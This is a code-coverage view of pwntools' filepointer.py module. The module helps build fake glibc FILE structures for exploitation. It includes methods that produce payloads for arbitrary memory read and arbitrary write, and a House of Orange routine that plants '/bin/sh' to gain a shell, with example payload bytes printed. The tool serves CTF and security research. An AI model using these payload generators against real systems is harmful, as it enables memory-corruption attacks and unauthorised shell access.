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Gallopsled / pwntools / 1

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1

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github

QuqqU
Correct a return type in Docstring

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Source File
Press 'n' to go to next uncovered line, 'b' for previous

0.0
/pwnlib/filepointer.py
1
# -*- coding: utf-8 -*-
2

3
r"""
4
File Structure Exploitation
5

6
struct FILE (_IO_FILE) is the structure for File Streams.
7
This offers various targets for exploitation on an existing bug in the code.
8
Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.
9

10
Remembering the offsets of various structure members while faking a FILE structure can be difficult,
11
so this python class helps you with that. Example-
12

13
>>> context.clear(arch='amd64')
14
>>> fileStr = FileStructure(null=0xdeadbeef)
15
>>> fileStr.vtable = 0xcafebabe
16
>>> payload = bytes(fileStr)
17
>>> payload
18
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
19

20
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
21

22
Currently only 'amd64' and 'i386' architectures are supported
23
"""
24

25
from __future__ import absolute_import
×
26
from __future__ import division
×
27

28
from pwnlib.context import context
×
29
from pwnlib.log import getLogger
×
30
from pwnlib.util.misc import python_2_bytes_compatible
×
31
from pwnlib.util.packing import pack
×
32

33
log = getLogger(__name__)
×
34

35
length=0
×
36
size='size'
×
37
name='name'
×
38

39
variables={
×
40
    0:{name:'flags',size:length},
41
    1:{name:'_IO_read_ptr',size:length},
42
    2:{name:'_IO_read_end',size:length},
43
    3:{name:'_IO_read_base',size:length},
44
    4:{name:'_IO_write_base',size:length},
45
    5:{name:'_IO_write_ptr',size:length},
46
    6:{name:'_IO_write_end',size:length},
47
    7:{name:'_IO_buf_base',size:length},
48
    8:{name:'_IO_buf_end',size:length},
49
    9:{name:'_IO_save_base',size:length},
50
    10:{name:'_IO_backup_base',size:length},
51
    11:{name:'_IO_save_end',size:length},
52
    12:{name:'markers',size:length},
53
    13:{name:'chain',size:length},
54
    14:{name:'fileno',size:4},
55
    15:{name:'_flags2',size:4},
56
    16:{name:'_old_offset',size:length},
57
    17:{name:'_cur_column',size:2},
58
    18:{name:'_vtable_offset',size:1},
59
    19:{name:'_shortbuf',size:1},
60
    20:{name:'unknown1',size:-4},
61
    21:{name:'_lock',size:length},
62
    22:{name:'_offset',size:8},
63
    23:{name:'_codecvt',size:length},
64
    24:{name:'_wide_data',size:length},
65
    25:{name:'unknown2',size:length},
66
    26:{name:'vtable',size:length}
67
}
68

69
del name, size, length
×
70

71

72
def update_var(l):
×
73
    r"""
74
    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
75

76
    Arguments:
77
        l(int)
78
            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
79

80
    Return Value:
81
        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
82

83
    Examples:
84

85
        >>> update_var(8)
86
        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
87
    """
88
    var={}
×
89
    for i in variables:
×
90
        var[variables[i]['name']]=variables[i]['size']
×
91
    for i in var:
×
92
        if var[i]<=0:
×
93
            var[i]+=l
×
94
    if l==4:
×
95
        var['unknown2']=56
×
96
    else:
97
        var['unknown2']=48
×
98
    return var
×
99

100

101
@python_2_bytes_compatible
×
102
class FileStructure(object):
×
103
    r"""
104
    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
105

106
    Arguments:
107
        null(int)
108
            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
109

110
    Examples:
111

112
        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
113

114
        >>> context.clear(arch='amd64')
115
        >>> fileStr = FileStructure(null=0xdeadbeeef)
116
        >>> fileStr.flags = 0xfbad1807
117
        >>> fileStr._IO_buf_base = 0xcafebabe
118
        >>> fileStr._IO_buf_end = 0xfacef00d
119
        >>> payload = bytes(fileStr)
120
        >>> payload
121
        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
122

123
        Check the length of the FileStructure
124

125
        >>> len(fileStr)
126
        224
127

128
        The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
129

130
        >>> q=FileStructure(0xdeadbeef)
131
        >>> q
132
        { flags: 0x0
133
         _IO_read_ptr: 0x0
134
         _IO_read_end: 0x0
135
         _IO_read_base: 0x0
136
         _IO_write_base: 0x0
137
         _IO_write_ptr: 0x0
138
         _IO_write_end: 0x0
139
         _IO_buf_base: 0x0
140
         _IO_buf_end: 0x0
141
         _IO_save_base: 0x0
142
         _IO_backup_base: 0x0
143
         _IO_save_end: 0x0
144
         markers: 0x0
145
         chain: 0x0
146
         fileno: 0x0
147
         _flags2: 0x0
148
         _old_offset: 0xffffffffffffffff
149
         _cur_column: 0x0
150
         _vtable_offset: 0x0
151
         _shortbuf: 0x0
152
         unknown1: 0x0
153
         _lock: 0xdeadbeef
154
         _offset: 0xffffffffffffffff
155
         _codecvt: 0x0
156
         _wide_data: 0xdeadbeef
157
         unknown2: 0x0
158
         vtable: 0x0}
159
    """
160

161
    vars_=[]
×
162
    length={}
×
163

164
    def __init__(self, null=0):
×
165
            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
×
166
            self.setdefault(null)
×
167
            self.length = update_var(context.bytes)
×
168
            self._old_offset = (1 << context.bits) - 1
×
169

170
    def __setattr__(self,item,value):
×
171
        if item in FileStructure.__dict__ or item in self.vars_:
×
172
            object.__setattr__(self,item,value)
×
173
        else:
174
            log.error("Unknown variable %r" % item)
×
175

176
    def __repr__(self):
×
177
        structure=[]
×
178
        for i in self.vars_:
×
179
            structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
×
180
        return "{"+ "\n".join(structure)+"}"
×
181

182
    def __getattr__(self,item):
×
183
        if item in FileStructure.__dict__ or item in self.vars_:
×
184
            return object.__getattribute__(self,item)
×
185
        log.error("Unknown variable %r" % item)
×
186

187
    def __len__(self):
×
188
        return len(bytes(self))
×
189

190
    def __bytes__(self):
×
191
        structure = b''
×
192
        for val in self.vars_:
×
193
            if isinstance(self.__getattr__(val), bytes):
×
194
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
195
            else:
196
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
197
        return structure
×
198

199
    def struntil(self,v):
×
200
        r"""
201
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
202

203
        Arguments:
204
            v(string)
205
                The name of the field uptil which the payload should be created.
206

207
        Example:
208

209
            Payload for data uptil _IO_buf_end
210

211
            >>> context.clear(arch='amd64')
212
            >>> fileStr = FileStructure(0xdeadbeef)
213
            >>> payload = fileStr.struntil("_IO_buf_end")
214
            >>> payload
215
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
216
        """
217
        if v not in self.vars_:
×
218
            return b''
×
219
        structure = b''
×
220
        for val in self.vars_:
×
221
            if isinstance(self.__getattr__(val), bytes):
×
222
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
223
            else:
224
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
225
            if val == v:
×
226
                break
×
227
        return structure[:-1]
×
228

229
    def setdefault(self,null):
×
230
            self.flags=0
×
231
            self._IO_read_ptr=0
×
232
            self._IO_read_end=0
×
233
            self._IO_read_base=0
×
234
            self._IO_write_base=0
×
235
            self._IO_write_ptr=0
×
236
            self._IO_write_end=0
×
237
            self._IO_buf_base=0
×
238
            self._IO_buf_end=0
×
239
            self._IO_save_base=0
×
240
            self._IO_backup_base=0
×
241
            self._IO_save_end=0
×
242
            self.markers=0
×
243
            self.chain=0
×
244
            self.fileno=0
×
245
            self._flags2=0
×
246
            self._old_offset=0
×
247
            self._cur_column=0
×
248
            self._vtable_offset=0
×
249
            self._shortbuf=0
×
250
            self.unknown1=0
×
251
            self._lock=null
×
252
            self._offset=0xffffffffffffffff
×
253
            self._codecvt=0
×
254
            self._wide_data=null
×
255
            self.unknown2=0
×
256
            self.vtable=0
×
257

258
    def write(self,addr=0,size=0):
×
259
        r"""
260
        Writing data out from arbitrary memory address.
261

262
        Arguments:
263
            addr(int)
264
                The address from which data is to be printed to stdout
265
            size(int)
266
                The size, in bytes, of the data to be printed
267

268
        Example:
269

270
            Payload for writing 100 bytes to stdout from the address 0xcafebabe
271

272
            >>> context.clear(arch='amd64')
273
            >>> fileStr = FileStructure(0xdeadbeef)
274
            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
275
            >>> payload
276
            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
277
        """
278
        self.flags &=~8
×
279
        self.flags |=0x800
×
280
        self._IO_write_base = addr
×
281
        self._IO_write_ptr = addr+size
×
282
        self._IO_read_end = addr
×
283
        self.fileno = 1
×
284
        return self.struntil('fileno')
×
285

286
    def read(self,addr=0,size=0):
×
287
        r"""
288
        Reading data into arbitrary memory location.
289

290
        Arguments:
291
            addr(int)
292
                The address into which data is to be written from stdin
293
            size(int)
294
                The size, in bytes, of the data to be written
295

296
        Example:
297

298
            Payload for reading 100 bytes from stdin into the address 0xcafebabe
299

300
            >>> context.clear(arch='amd64')
301
            >>> fileStr = FileStructure(0xdeadbeef)
302
            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
303
            >>> payload
304
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
305
        """
306
        self.flags &=~4
×
307
        self._IO_read_base = 0
×
308
        self._IO_read_ptr = 0
×
309
        self._IO_buf_base = addr
×
310
        self._IO_buf_end = addr+size
×
311
        self.fileno = 0
×
312
        return self.struntil('fileno')
×
313

314
    def orange(self,io_list_all,vtable):
×
315
        r"""
316
        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
317

318
        Arguments:
319
            io_list_all(int)
320
                Address of _IO_list_all in libc.
321
            vtable(int)
322
                Address of the fake vtable in memory
323

324
        Example:
325

326
            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
327

328
            >>> context.clear(arch='amd64')
329
            >>> fileStr = FileStructure(0xdeadbeef)
330
            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
331
            >>> payload
332
            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
333
        """
334
        if context.bits == 64:
×
335
            self.flags = b'/bin/sh\x00'
×
336
            self._IO_read_ptr = 0x61
×
337
            self._IO_read_base = io_list_all-0x10
×
338
        elif context.bits == 32:
×
339
            self.flags = b'sh\x00'
×
340
            self._IO_read_ptr = 0x121
×
341
            self._IO_read_base = io_list_all-0x8
×
342
        self._IO_write_base = 0
×
343
        self._IO_write_ptr = 1
×
344
        self.vtable = vtable
×
345
        return self.__bytes__()
×
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